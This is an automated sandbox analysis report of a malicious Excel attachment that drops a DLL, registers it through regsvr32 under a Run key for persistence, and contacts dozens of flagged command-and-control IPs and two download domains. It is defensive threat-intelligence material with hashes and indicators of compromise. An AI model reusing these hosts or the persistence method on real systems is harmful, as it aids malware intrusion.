http://crl.entrust.net/2048ca.crl0	regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
188.165.79.151	unknown	France	16276	OVHFR	true
196.44.98.190	unknown	Ghana	327814	EcobandGH	true
174.138.33.49	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
36.67.23.59	unknown	Indonesia	17974	TELKOMNET-AS2-APPTTelekomunikasiIndonesiaID	true
103.41.204.169	unknown	Indonesia	58397	INFINYS-AS-IDPTInfinysSystemIndonesiaID	true
85.214.67.203	unknown	Germany	6724	STRATOSTRATOAGDE	true
83.229.80.93	unknown	United Kingdom	8513	SKYVISIONGB	true
198.199.70.22	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
93.104.209.107	unknown	Germany	8767	MNET-ASGermanyDE	true
186.250.48.5	unknown	Brazil	262807	RedfoxTelecomunicacoesLtdaBR	true
175.126.176.79	unknown	Korea Republic of	9523	MOKWON-AS-KRMokwonUniversityKR	true
128.199.242.164	unknown	United Kingdom	14061	DIGITALOCEAN-ASNUS	true
178.238.225.252	unknown	Germany	51167	CONTABODE	true
163.172.115.127	www.spinbalence.com	United Kingdom	12876	OnlineSASFR	false
190.145.8.4	unknown	Colombia	14080	TelmexColombiaSACO	true
46.101.98.60	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	true
82.98.180.154	unknown	Spain	42612	DINAHOSTING-ASES	true
103.71.99.57	unknown	India	135682	AWDHPL-AS-INAdvikaWebDevelopmentsHostingPvtLtdIN	true
87.106.97.83	unknown	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
103.254.12.236	unknown	Viet Nam	56151	DIGISTAR-VNDigiStarCompanyLimitedVN	true
103.85.95.4	unknown	Indonesia	136077	IDNIC-UNSRAT-AS-IDUniversitasIslamNegeriMataramID	true
202.134.4.210	unknown	Indonesia	7713	TELKOMNET-AS-APPTTelekomunikasiIndonesiaID	true
165.22.254.236	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
78.47.204.80	unknown	Germany	24940	HETZNER-ASDE	true
118.98.72.86	unknown	Indonesia	7713	TELKOMNET-AS-APPTTelekomunikasiIndonesiaID	true
139.59.80.108	unknown	Singapore	14061	DIGITALOCEAN-ASNUS	true
104.244.79.94	unknown	United States	53667	PONYNETUS	true
37.44.244.177	unknown	Germany	47583	AS-HOSTINGERLT	true
51.75.33.122	unknown	France	16276	OVHFR	true
47.92.133.65	navylin.com	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
160.16.143.191	unknown	Japan	9370	SAKURA-BSAKURAInternetIncJP	true
103.56.149.105	unknown	Indonesia	55688	BEON-AS-IDPTBeonIntermediaID	true
85.25.120.45	unknown	Germany	8972	GD-EMEA-DC-SXB1DE	true
139.196.72.155	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	true
103.126.216.86	unknown	Bangladesh	138482	SKYVIEW-AS-APSKYVIEWONLINELTDBD	true
128.199.217.206	unknown	United Kingdom	14061	DIGITALOCEAN-ASNUS	true
114.79.130.68	unknown	India	45769	DVOIS-IND-VoisBroadbandPvtLtdIN	true
103.224.241.74	unknown	India	133296	WEBWERKS-AS-INWebWerksIndiaPvtLtdIN	true
210.57.209.142	unknown	Indonesia	38142	UNAIR-AS-IDUniversitasAirlanggaID	true
202.28.34.99	unknown	Thailand	9562	MSU-TH-APMahasarakhamUniversityTH	true
80.211.107.116	unknown	Italy	31034	ARUBA-ASNIT	true
54.37.228.122	unknown	France	16276	OVHFR	true
163.172.108.69	www.3d-stickers.com	United Kingdom	12876	OnlineSASFR	false
218.38.121.17	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
185.148.169.10	unknown	Germany	44780	EVERSCALE-ASDE	true
195.77.239.39	unknown	Spain	60493	FICOSA-ASES	true
178.62.112.199	unknown	European Union	14061	DIGITALOCEAN-ASNUS	true
62.171.178.147	unknown	United Kingdom	51167	CONTABODE	true
64.227.55.231	unknown	United States	14061	DIGITALOCEAN-ASNUS	true

Private

IP
192.168.2.255

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	746417
Start date and time:	2022-11-15 12:42:46 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	4470_02112022.xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLS@12/10@4/50
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 79.5% (good quality ratio 69.4%) Quality average: 70.7% Quality standard deviation: 34%
HCA Information:	Successful, ratio: 98% Number of executed functions: 27 Number of non-executed functions: 324
Cookbook Comments:	Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Found warning dialog Click Ok Found warning dialog Click Ok Found warning dialog Click Ok Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, svchost.exe
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:43:36	API Interceptor	5x Sleep call for process: regsvr32.exe modified
12:44:20	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run CASBb.dll C:\Windows\system32\regsvr32.exe "C:\Windows\system32\XXKTOC\CASBb.dll"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
188.165.79.151	4470_02112022.xls	Get hash	malicious	Browse
	DVvzRulsoR.dll	Get hash	malicious	Browse
	jYzNEOocXJ.dll	Get hash	malicious	Browse
	DVvzRulsoR.dll	Get hash	malicious	Browse
	BiiRGnhWx8.dll	Get hash	malicious	Browse
	jYzNEOocXJ.dll	Get hash	malicious	Browse
	BiiRGnhWx8.dll	Get hash	malicious	Browse
	gdazhx1EIP.dll	Get hash	malicious	Browse
	UNUy8dUYWp.dll	Get hash	malicious	Browse
	gdazhx1EIP.dll	Get hash	malicious	Browse
	UNUy8dUYWp.dll	Get hash	malicious	Browse
	3sbn8ZI5nn.dll	Get hash	malicious	Browse
	3sbn8ZI5nn.dll	Get hash	malicious	Browse
	zzkCIdCoDt.dll	Get hash	malicious	Browse
	zzkCIdCoDt.dll	Get hash	malicious	Browse
	U9M1w8FHBW.dll	Get hash	malicious	Browse
	En3ZIyuYdw.dll	Get hash	malicious	Browse
	Kjx74pqege.dll	Get hash	malicious	Browse
	U9M1w8FHBW.dll	Get hash	malicious	Browse
	Kjx74pqege.dll	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
www.3d-stickers.com	Lista 0811.xls	Get hash	malicious	Browse	163.172.108.69
	Lista 0811.xls	Get hash	malicious	Browse	163.172.108.69
	Doc 0211.xls	Get hash	malicious	Browse	163.172.108.69
	0211.xls	Get hash	malicious	Browse	163.172.108.69
www.spinbalence.com	4470_02112022.xls	Get hash	malicious	Browse	163.172.115.127
	U71925870143638QYS.xls	Get hash	malicious	Browse	163.172.115.127
	Doc 0211.xls	Get hash	malicious	Browse	163.172.115.127
	0211.xls	Get hash	malicious	Browse	163.172.115.127
navylin.com	4470_02112022.xls	Get hash	malicious	Browse	47.92.133.65
	Lista 0811.xls	Get hash	malicious	Browse	47.92.133.65
	Lista 0811.xls	Get hash	malicious	Browse	47.92.133.65
	Doc 0211.xls	Get hash	malicious	Browse	47.92.133.65
	0211.xls	Get hash	malicious	Browse	47.92.133.65

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
OVHFR	4470_02112022.xls	Get hash	malicious	Browse	54.37.228.122
	4FQh6Qr1Wr.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	51.83.33.228
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	RFQ11142.EXE.exe	Get hash	malicious	Browse	51.195.62.160
	Social.Security-(IRS-Doc)11-2022.html	Get hash	malicious	Browse	51.210.32.132
	file.exe	Get hash	malicious	Browse	5.135.247.111
	QUOTATION.exe	Get hash	malicious	Browse	51.195.62.160
	RFQ11132022-SOEC.exe	Get hash	malicious	Browse	51.195.62.160
	https://my.visme.co/view/y46q1pqg-message-projects#s1	Get hash	malicious	Browse	51.83.143.177
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	51.75.209.245
	Facture.html	Get hash	malicious	Browse	51.81.165.16
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
7dcce5b76c8b17472d024758970a406b	4470_02112022.xls	Get hash	malicious	Browse	163.172.108.69 163.172.115.127
	U-PARK008911RFQCMA.html	Get hash	malicious	Browse	163.172.108.69 163.172.115.127
	Payment Copy.xls	Get hash	malicious	Browse	163.172.108.69 163.172.115.127
	808258808258808258_inv fdp.html	Get hash	malicious	Browse	163.172.108.69 163.172.115.127
	RechX2022.11.11_1045X.xls	Get hash	malicious	Browse	163.172.108.69 163.172.115.127
	https://app.bentonow.com/ahoy/messages/m5KCrsFVrwBNTdIJ9s7jBvGXvAsSm8bv/click?signature=f8a62c553f810a02e99d445856088dba386d6a65&url=https://cranevillage.org/wp/NTdIJ9s7jBvGXvAsSm8GH8WgGKPxJRBn3d9kI3wZMquBjKFLkh7HPuzLGeb1r#fs.fn@saaq.gouv.qc.ca&data=05%7C01%7Cfs.fn@saaq.gouv.qc.ca%7C98716b89fd8f46909d3808dac195d6b2%7C4df32e45efd840c193ead0041b95d83b%7C0%7C0%7C638035146663028526%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0=%7C0%7C%7C%7C&sdata=EElEFBAzSfOLXa65T+Cmm5523rRIvljoeA8EcGIax/k=&reserved=0	Get hash	malicious	Browse	163.172.108.69 163.172.115.127
	Rech 2022.11.11_1346.xls	Get hash	malicious	Browse	163.172.108.69 163.172.115.127
	NEW ORDER.xls	Get hash	malicious	Browse	163.172.108.69 163.172.115.127
	0_202211806802187473.xls	Get hash	malicious	Browse	163.172.108.69 163.172.115.127
	0_202211806802187473.xls	Get hash	malicious	Browse	163.172.108.69 163.172.115.127
	Benefits_Enrollment.shtml	Get hash	malicious	Browse	163.172.108.69 163.172.115.127
	10112022.xls	Get hash	malicious	Browse	163.172.108.69 163.172.115.127
	Pilot97.xls	Get hash	malicious	Browse	163.172.108.69 163.172.115.127
	9_202211608593131209.xls	Get hash	malicious	Browse	163.172.108.69 163.172.115.127
	9_202211608593131209.xls	Get hash	malicious	Browse	163.172.108.69 163.172.115.127
	5_202209610569640508.xls	Get hash	malicious	Browse	163.172.108.69 163.172.115.127
	5_202209610569640508.xls	Get hash	malicious	Browse	163.172.108.69 163.172.115.127
	NOTICE-1011.xls	Get hash	malicious	Browse	163.172.108.69 163.172.115.127
	U71925870143638QYS.xls	Get hash	malicious	Browse	163.172.108.69 163.172.115.127
	https://pngwr.u2wman.click/?agc=f8c2NsYXlAZG1nbWFzb25yeS5jb20=	Get hash	malicious	Browse	163.172.108.69 163.172.115.127

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\oxnv4.ooccxx	4470_02112022.xls	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\40hd04O0[1].dll	4470_02112022.xls	Get hash	malicious	Browse
C:\Windows\System32\XXKTOC\CASBb.dll (copy)	4470_02112022.xls	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\40hd04O0[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	769024
Entropy (8bit):	6.637885736387009
Encrypted:	false
SSDEEP:	12288:8iW4+vsmQhWi6zQCXbPlLyqOMSRZuH/sAvvszVIf:8iWHhECXbPlLyqOMUMJvszVIf
MD5:	22CE6200C1714603F94B11F6DF41140F
SHA1:	F6A7B8550BE698D1BFC34219F245FEF7E7F59147
SHA-256:	FB9AB8EFA3269F359F9010AECC543E992705E900CC11B02DBDFB1C6572A5500A
SHA-512:	1F4421914A0172DAFE748711B0851DD2F977337DC7F9D170CAB0549C1906B110706FC302AD6652305B7335237551BE7CC4350AD0ABFB89315355F8BC8519B024
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 81% Antivirus: Metadefender, Detection: 20%, Browse
Joe Sandbox View:	Filename: 4470_02112022.xls, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%..K..K..K.%&..K..~6..K..~&.C.K.%0...K..J...K..~%.v.K..~1..K..~3..K.Rich.K.................PE..d.....dc.........." .....Z...^......`#.......................................`.......V..............................................0...O...P...................\|e........... .......................................................p..........@....................text....Y.......Z.................. ..`.rdata.......p.......^..............@..@.data...p........:..................@....pdata..\|e.......f..."..............@..@.rsrc...............................@..@.reloc..l0... ...2..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF73B80FE68F2FEB1E.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	3.1569743079218417
Encrypted:	false
SSDEEP:	768:6kPWKpb8rGYrMPe3q7Q0XV5xtezEs/68/dgAHxKd:6XKpb8rGYrMPe3q7Q0XV5xtezEsi8/dK
MD5:	12CE0FFD37F123D2F8492F28817265C3
SHA1:	DF7C171FBB7B6AC05825D1C7ABC7DC60C4603D51
SHA-256:	507A05F1A092B3CF006BE54D42D986ABF26164ACE6C2943D9832D59A8815A1AC
SHA-512:	13CC319134AEE2BD12A6678D797EA381739790BBE3DD1E1A0E0BDA29630383F13855B280FAF62C5B8F1492C59EEC4FA64B6E3A932629B807409BAA5B106A66C7
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\9X79YCCF.txt

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.738319644141656
Encrypted:	false
SSDEEP:	6:7xHBO5YvsDCThKvfZ5WZAwT0JixqT/0IgAovhScJJuSXbWZF9L6Z2v3/n:IYkaQvf/Wfqr0dV5kSXbWpNn
MD5:	F060C5E60952BD197257D1F9D53933AC
SHA1:	3E1DB6C98E792C52180B50DA23289D5BABA491CB
SHA-256:	D0BB818407875D5D5DE2320E94F9A4259AE09DD07AEE0BC3517200670ECECF52
SHA-512:	51D6687A2A513DF5A22B510AC94DD9CB6F7D97D8502C6E192E81761DE8840016360B227328B28D60BAEF5130CC17760A7736A078F6245E554B039D83146C408E
Malicious:	false
Preview:	PrestaShop-7318ab2db5e4a3c3a59fb8879ad22162.Nw04PzmYYXL6IgJsn1ERig61Z7mzgI5cdqQk7Ts1Z5oXp%2FAqcUL0r5BFPvLtErAilMIA%2BG6u6fOffdeloSSLftgvfHedjHZsx%2FnHB3u6bs5u%2F94PwbzL8h8iuQj5fU6ouxPvjTOMmxa%2BzRYyONLyaAb0hg9MOCCN3g2h1jkAF3E%3D000114.www.spinbalence.com/.9217.3608004736.31000734.3937766441.30996786.*.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\D3A8EJJ9.txt

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text
Category:	dropped
Size (bytes):	233
Entropy (8bit):	5.458604286084197
Encrypted:	false
SSDEEP:	6:7KH2jzcdWTKYffJKETQeitrYHgUXjOth4aESVlL06c/n:OH2jLTftUePUdESHD6n
MD5:	5860E869AD5D3292E26FD527F3120E3A
SHA1:	A547C6E62D97DFBF53E061DFA7695E7CE7406B2F
SHA-256:	0347BBF9AF1F39621143CA495A9617F89A182AEE5A54A71282B1EB18A88C00D9
SHA-512:	6AEB31452E95B4A05194ADD0047F95890FCDD0B726CDA712B285C90BF982A537127971F0642443912AC5981A1603774CFFBE4D8D96002D80890242743E66FC80
Malicious:	false
Preview:	PrestaShop-a30a9934ef476d11b6cc3c983616e364.9ybostxWPod7nP43PifVMefImKxeSKaZAdXmfdItKWNolWp%2F7SQd8f90S8O%2FCwGohxkvf3iPluWhTbyznpM1hqQ6wpX78PX55d2aotWs5IA%3D000075.www.3d-stickers.com/.9729.3618004736.31000734.3945878115.30996786.*.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\FJW3SUUT.txt

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text
Category:	dropped
Size (bytes):	231
Entropy (8bit):	5.5180081754315795
Encrypted:	false
SSDEEP:	6:7xHBO5YvsDCTh9HhVxUG9/6/DVh4gJJuSV09L6lH/n:IYkaJfly7V7kS42n
MD5:	0C778372AE083EFCA2640D5CE8B5ABAC
SHA1:	66E81472B754198F764726ADFAEAC6B179E2DBCA
SHA-256:	A4F156650E92E15E94ED932B57C48D023CD41602EB5B408A73EC5D77451F6925
SHA-512:	0202B8D386FC2D1EE34DC4EAFAF27C5C1039595FDD65C7E194330E0F5FFF7382E9474AF21E37357F3E0C0DF9FD7404BAA8876F8B5AC8B11092A7F6F7A820D97A
Malicious:	false
Preview:	PrestaShop-7318ab2db5e4a3c3a59fb8879ad22162.Nw04PzmYYXL6IgJsn1ERig61Z7mzgI5cdqQk7Ts1Z5oXp%2FAqcUL0r5BFPvLtErAiRnV0TG5b0npswANceXA1cwrQZJXojk9hvRnyRY37Ivk%3D000075.www.spinbalence.com/.9729.3608004736.31000734.3932774008.30996786.*.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\JZYF2U5D.txt

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text
Category:	dropped
Size (bytes):	301
Entropy (8bit):	5.6924231987102205
Encrypted:	false
SSDEEP:	6:7KH2jzcdWTKYffJKETQeiHMbCXJDw0a/PSUPFvca8ESXbWbnL8FUq/n:OH2jLTftUecgqUPP8ESXbWbnoFUon
MD5:	5099D4482BDDF985ABAF86BA7B808466
SHA1:	9FAE3D11E4CF94F58D631C2B57BE423B4E370A99
SHA-256:	B41EF0F154947AC3741BBB23F88594A5542D00B27B449B4C8D299B477287A91C
SHA-512:	7C5529EF35849BEF3053925106D7D6069390552A8E7461C87ACA6EAD6789150EEEB60E66F61AFF2863D2FED2B543F9C99D53AC0A683352026C42FC9F440A3BF2
Malicious:	false
Preview:	PrestaShop-a30a9934ef476d11b6cc3c983616e364.9ybostxWPod7nP43PifVMefImKxeSKaZAdXmfdItKWNolWp%2F7SQd8f90S8O%2FCwGo94XM8kzh2wgRtGRJ9nsrSdLdi59jw6GotzqA%2F%2BTveez7WUZj7S8ZwYcZXe6FVfsrOzQXtIeedQAsmUAviISLMDAANABHdlwwYRACr4DLkzU%3D000115.www.3d-stickers.com/.9217.3628004736.31000734.3952273981.30996786.*.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\RLNYM7EL.txt

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text
Category:	dropped
Size (bytes):	233
Entropy (8bit):	5.48906588343199
Encrypted:	false
SSDEEP:	6:7KH2jzcdWTKYffJse3j6oLRMmmicPyhEOESgL3ddD2ic/n:OH2jLTfqeTD9nhdESg7dR2i6n
MD5:	EE501A92AEFD9B58974229415DAA85F2
SHA1:	6177154202892F12E1FE3F8A87766445B255A2E7
SHA-256:	C0F9574BA2DCC4F298FB3F743AAD7FDBCA53F48EA2B8378D7FF7027C45E04CC4
SHA-512:	E13F7BD9FFFD8C95CE79E2CF5F1E42D953A75AA7A01CC3177380F30AE8B9181C352B689F6F716843B937B70E92C257F602B41D353D5991492F1FF2BBA68524C4
Malicious:	false
Preview:	PrestaShop-a30a9934ef476d11b6cc3c983616e364.9ybostxWPod7nP43PifVMefImKxeSKaZAdXmfdItKWNI2Ckr%2B1t%2BqGSwMBMouqmkFK0SD2XdZ7Cg5qtQQ9RwtmJfdpSnAaKPknzS3gL2v8c%3D000079.www.3d-stickers.com/.9728.3618004736.31000734.3940886227.30996786.*.

C:\Users\user\Desktop\4470_02112022.xls

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Gydar, Last Saved By: Gydar, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Wed Nov 2 06:43:53 2022, Security: 0
Category:	dropped
Size (bytes):	221696
Entropy (8bit):	7.123704337595423
Encrypted:	false
SSDEEP:	6144:EKpb8rGYrMPe3q7Q0XV5xtuEsi8/dgUyY+TAQXTHGUMEyP5p6f5jQmc:RbGUMVWlbc
MD5:	E71BDD02C3D0754E802600DF8BF4CA71
SHA1:	1B23F0CC4D900480EE409EDAAE3ECE48FEE2685C
SHA-256:	77F55AF0AA76FD20853C07984463AA93FB7666C749DCBFFE85DBC610BC971BD3
SHA-512:	E04983B87C2A155CDD8156FBD04699DCB14E037662BF9A30054FA692542B1D23BC777E0798C61A5EBD042F3FB3F695B67500727738371E760ACAAC77078E0FFB
Malicious:	true
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................ZO..........................\.p....user B.....a.........=........................-.B.0...=.8.3.0.....................................=........Ve18.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1..............

C:\Users\user\oxnv4.ooccxx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	769024
Entropy (8bit):	6.637885736387009
Encrypted:	false
SSDEEP:	12288:8iW4+vsmQhWi6zQCXbPlLyqOMSRZuH/sAvvszVIf:8iWHhECXbPlLyqOMUMJvszVIf
MD5:	22CE6200C1714603F94B11F6DF41140F
SHA1:	F6A7B8550BE698D1BFC34219F245FEF7E7F59147
SHA-256:	FB9AB8EFA3269F359F9010AECC543E992705E900CC11B02DBDFB1C6572A5500A
SHA-512:	1F4421914A0172DAFE748711B0851DD2F977337DC7F9D170CAB0549C1906B110706FC302AD6652305B7335237551BE7CC4350AD0ABFB89315355F8BC8519B024
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 81% Antivirus: Metadefender, Detection: 20%, Browse
Joe Sandbox View:	Filename: 4470_02112022.xls, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%..K..K..K.%&..K..~6..K..~&.C.K.%0...K..J...K..~%.v.K..~1..K..~3..K.Rich.K.................PE..d.....dc.........." .....Z...^......`#.......................................`.......V..............................................0...O...P...................\|e........... .......................................................p..........@....................text....Y.......Z.................. ..`.rdata.......p.......^..............@..@.data...p........:..................@....pdata..\|e.......f..."..............@..@.rsrc...............................@..@.reloc..l0... ...2..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\XXKTOC\CASBb.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	769024
Entropy (8bit):	6.637885736387009
Encrypted:	false
SSDEEP:	12288:8iW4+vsmQhWi6zQCXbPlLyqOMSRZuH/sAvvszVIf:8iWHhECXbPlLyqOMUMJvszVIf
MD5:	22CE6200C1714603F94B11F6DF41140F
SHA1:	F6A7B8550BE698D1BFC34219F245FEF7E7F59147
SHA-256:	FB9AB8EFA3269F359F9010AECC543E992705E900CC11B02DBDFB1C6572A5500A
SHA-512:	1F4421914A0172DAFE748711B0851DD2F977337DC7F9D170CAB0549C1906B110706FC302AD6652305B7335237551BE7CC4350AD0ABFB89315355F8BC8519B024
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 81% Antivirus: Metadefender, Detection: 20%, Browse
Joe Sandbox View:	Filename: 4470_02112022.xls, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%..K..K..K.%&..K..~6..K..~&.C.K.%0...K..J...K..~%.v.K..~1..K..~3..K.Rich.K.................PE..d.....dc.........." .....Z...^......`#.......................................`.......V..............................................0...O...P...................\|e........... .......................................................p..........@....................text....Y.......Z.................. ..`.rdata.......p.......^..............@..@.data...p........:..................@....pdata..\|e.......f..."..............@..@.rsrc...............................@..@.reloc..l0... ...2..................@..B........................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Gydar, Last Saved By: Gydar, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Wed Nov 2 06:43:53 2022, Security: 0
Entropy (8bit):	7.123491668947418
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	4470_02112022.xls
File size:	221696
MD5:	d3b182de8c99553a9f2b6d0f3f030a4f
SHA1:	d5bd989ffde2f67133b6404f9f234d13e618c206
SHA256:	cd99b899c5a3d6ddb22969605b079375da897362b4d599fc9eebb1e21115a31d
SHA512:	3abe78e4fca03e90d59818cded37a9feff6f7ade11cee1ef07c7ccd70cc4e250f7d835161409f0e8ba97cff4a678ef234298cb293ecac60e1ec0667a8904e484
SSDEEP:	6144:WKpb8rGYrMPe3q7Q0XV5xtuEsi8/dgUyY+TAQXTHGUMEyP5p6f5jQm+:XbGUMVWlb+
TLSH:	5A24F15B77999D6DF529C33408E7035AB233FD008F6B078B3649B395AFB48A05E13246
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "4470_02112022.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Summary

Code Page:	1251
Author:
Last Saved By:
Create Time:	2015-06-05 18:19:34
Last Saved Time:	2022-11-02 06:43:53
Creating Application:
Security:	0

Document Summary

Document Code Page:	1251
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.3944713856337448
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . S h e e t 4 . . . . . S h e e t 5 . . . . . S h e e
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 20 01 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 e0 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.2780102568870367
